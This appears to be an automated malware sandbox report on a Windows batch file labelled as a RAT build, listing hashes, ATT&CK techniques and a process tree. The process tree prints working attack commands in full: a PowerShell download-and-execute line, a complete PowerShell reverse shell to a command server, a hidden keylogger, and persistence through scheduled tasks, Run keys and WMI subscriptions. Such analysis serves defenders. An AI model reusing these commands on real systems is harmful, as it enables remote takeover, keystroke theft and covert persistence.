1daf56a7da9f1a130a047a79593e35b17cf6e8476e0c1124c8d9e94cdf63c49c

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 20:30

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General

Target
rat_build_89030_014300.bat
Size 4KB
Sample260529-zagrssdz4w
SHA256 1daf56a7da9f1a130a047a79593e35b17cf6e8476e0c1124c8d9e94cdf63c49c
MD5 aa982953584df9758f160b6e3fa0ed4c
SHA1 42f3b005ba820d2f1d69021100a7b114fde66ff0
SHA512 a3c83d525b4ba136b2c8846046d5f79b80cdeccd89a2d6bafc2a499cd15a55102746f56726d451e7d051548d65d9342c5f83d3af14f4fd0a97505af73afde255
SSDEEP 96:dIzeyWLKzYctnaDhzR1rVB516TWYIVWRivBJVFlYg3o76iFgZk8mvlo1ah:dUeLK8ctqR1pqIJBFlYuiFgkHlPh
TLSH
T179A109135767B12098B42164DD323C18576CEAFB2756CA8DFB08DCC40A4CF8B842BAE7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_89030.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1744	powershell.exe
4976	powershell.exe
3440	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_89030 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_89030.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4968	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3704	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2432	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4860	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4976	powershell.exe
4976	powershell.exe
1744	powershell.exe
1744	powershell.exe
3440	powershell.exe
3440	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	788	WMIC.exe
Token: SeSecurityPrivilege	788	WMIC.exe
Token: SeTakeOwnershipPrivilege	788	WMIC.exe
Token: SeLoadDriverPrivilege	788	WMIC.exe
Token: SeSystemProfilePrivilege	788	WMIC.exe
Token: SeSystemtimePrivilege	788	WMIC.exe
Token: SeProfSingleProcessPrivilege	788	WMIC.exe
Token: SeIncBasePriorityPrivilege	788	WMIC.exe
Token: SeCreatePagefilePrivilege	788	WMIC.exe
Token: SeBackupPrivilege	788	WMIC.exe
Token: SeRestorePrivilege	788	WMIC.exe
Token: SeShutdownPrivilege	788	WMIC.exe
Token: SeDebugPrivilege	788	WMIC.exe
Token: SeSystemEnvironmentPrivilege	788	WMIC.exe
Token: SeRemoteShutdownPrivilege	788	WMIC.exe
Token: SeUndockPrivilege	788	WMIC.exe
Token: SeManageVolumePrivilege	788	WMIC.exe
Token: 33	788	WMIC.exe
Token: 34	788	WMIC.exe
Token: 35	788	WMIC.exe
Token: 36	788	WMIC.exe
Token: SeIncreaseQuotaPrivilege	788	WMIC.exe
Token: SeSecurityPrivilege	788	WMIC.exe
Token: SeTakeOwnershipPrivilege	788	WMIC.exe
Token: SeLoadDriverPrivilege	788	WMIC.exe
Token: SeSystemProfilePrivilege	788	WMIC.exe
Token: SeSystemtimePrivilege	788	WMIC.exe
Token: SeProfSingleProcessPrivilege	788	WMIC.exe
Token: SeIncBasePriorityPrivilege	788	WMIC.exe
Token: SeCreatePagefilePrivilege	788	WMIC.exe
Token: SeBackupPrivilege	788	WMIC.exe
Token: SeRestorePrivilege	788	WMIC.exe
Token: SeShutdownPrivilege	788	WMIC.exe
Token: SeDebugPrivilege	788	WMIC.exe
Token: SeSystemEnvironmentPrivilege	788	WMIC.exe
Token: SeRemoteShutdownPrivilege	788	WMIC.exe
Token: SeUndockPrivilege	788	WMIC.exe
Token: SeManageVolumePrivilege	788	WMIC.exe
Token: 33	788	WMIC.exe
Token: 34	788	WMIC.exe
Token: 35	788	WMIC.exe
Token: 36	788	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3220	WMIC.exe
Token: SeSecurityPrivilege	3220	WMIC.exe
Token: SeTakeOwnershipPrivilege	3220	WMIC.exe
Token: SeLoadDriverPrivilege	3220	WMIC.exe
Token: SeSystemProfilePrivilege	3220	WMIC.exe
Token: SeSystemtimePrivilege	3220	WMIC.exe
Token: SeProfSingleProcessPrivilege	3220	WMIC.exe
Token: SeIncBasePriorityPrivilege	3220	WMIC.exe
Token: SeCreatePagefilePrivilege	3220	WMIC.exe
Token: SeBackupPrivilege	3220	WMIC.exe
Token: SeRestorePrivilege	3220	WMIC.exe
Token: SeShutdownPrivilege	3220	WMIC.exe
Token: SeDebugPrivilege	3220	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3220	WMIC.exe
Token: SeRemoteShutdownPrivilege	3220	WMIC.exe
Token: SeUndockPrivilege	3220	WMIC.exe
Token: SeManageVolumePrivilege	3220	WMIC.exe
Token: 33	3220	WMIC.exe
Token: 34	3220	WMIC.exe
Token: 35	3220	WMIC.exe
Token: 36	3220	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3220	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2256 wrote to memory of 4860	2256	cmd.exe	82
PID 2256 wrote to memory of 2432	2256	cmd.exe	83
PID 2256 wrote to memory of 788	2256	cmd.exe	84
PID 2256 wrote to memory of 3220	2256	cmd.exe	85
PID 2256 wrote to memory of 3264	2256	cmd.exe	86
PID 2256 wrote to memory of 3704	2256	cmd.exe	87
PID 2256 wrote to memory of 4968	2256	cmd.exe	91
PID 2256 wrote to memory of 4976	2256	cmd.exe	92
PID 2256 wrote to memory of 1744	2256	cmd.exe	93
PID 2256 wrote to memory of 3440	2256	cmd.exe	94

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_89030_014300.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2256
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_89030" /tr "C:\Users\Admin\AppData\Local\Temp\_89030.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4860
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_89030" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_89030.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:2432
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_89030", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:788
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_89030", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_89030.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3220
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_89030.txt
  2⤵
  PID:3264
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:3704
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:4968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_89030.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3440

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3e9dfdec2a1c817075bdfd2a8050630c7f8404f82e84a4374e80f124e102d49d
MD5 7a9772bc4c578c1736aa04a056f68da3
SHA1 7bb32e69db056bc9ab222ef4ef45de588b2a8efd
SHA512 2d4516747b14356725004ec2c227f56d3e2eae475d58e3fdd5b2b3dbef7382def984eb89584f11359a08d5b8ac3dc5a83fff1d9829a775ebbbcc97315265dd97
TLSH
T190115333B79CC135C8A9117A1089AD01B2B5C3CB04AEDE8B6A84C508E57F98ADBA41E4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1c7222766e57b54b03062d6c6bf4357a203a9c4f1921eb64145f22f6387b09d5
MD5 f7fda2e5b04fabe7217e5eef00e724ba
SHA1 a1334b5d7680f6e6c63f4097d87cab9a90f31b10
SHA512 d62f1dd7759cc73f62e37c8281e4d8a43c139a06fe45ae501997c97577b34650c92dfc05ecc73ee383e4503b6e86d45d3ac7c0890d35f8ec7c2683e53b083363
TLSH
T17411BA33F39CC574C8D5117A108DAD01B1B1C3DB009EDECB7A84C408E57F58ADBA41A4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_mb30rem3.ohu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mb30rem3.ohu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/4976-8-0x000001BC6D210000-0x000001BC6D232000-memory.dmp

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